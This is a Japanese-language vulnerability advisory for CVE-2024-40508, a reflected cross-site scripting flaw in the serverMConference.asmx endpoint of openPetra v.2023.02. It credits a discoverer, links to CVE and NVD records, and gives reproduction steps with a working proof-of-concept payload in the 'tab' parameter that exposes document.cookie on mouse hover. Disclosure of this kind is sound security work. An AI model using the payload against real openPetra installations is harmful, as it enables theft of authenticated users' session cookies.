CVE-2024-40508

openPetra v.2023.02 の serverMConference.asmx 関数におけるクロスサイトスクリプティングの脆弱性

説明: 認証されていないユーザーが、openPetra v.2023.02 の serverMConference.asmx 関数を介した XSS を悪用することで、認証済みユーザーからクッキーを盗むことができます。

影響を受ける製品バージョン: openPetra v.2023.02
CVE 発見者: Jansen Moreira 日付: 13/07/2024
CVE: CVE-2024-40508
CVE リンク: https://www.cve.org/CVERecord?id=CVE-2024-40508
NVD リンク: https://nvd.nist.gov/vuln/detail/CVE-2024-40508
Tenable リンク: https://www.tenable.com/cve/CVE-2024-40508
確認日: 13/07/2024
テスト環境: Linux

再現手順:

1- ホームページにアクセスする
2- 以下のパスを使用し、tab パラメータに XSS ペイロードを追加します。例： target.com/api/serverMConference.asmx?bnd=TMHospitalityWebServiceSoap&op=THospitalityWebConnector_Dummy&page=op&tab=x" onmouseover=alert(document.cookie) x="
3- 左のインデックス項目にマウスをホバーして XSS をトリガーする

ペイロード:
tab: x" onmouseover=alert(document.cookie) x="

発見者/謝辞: Jansen Moreira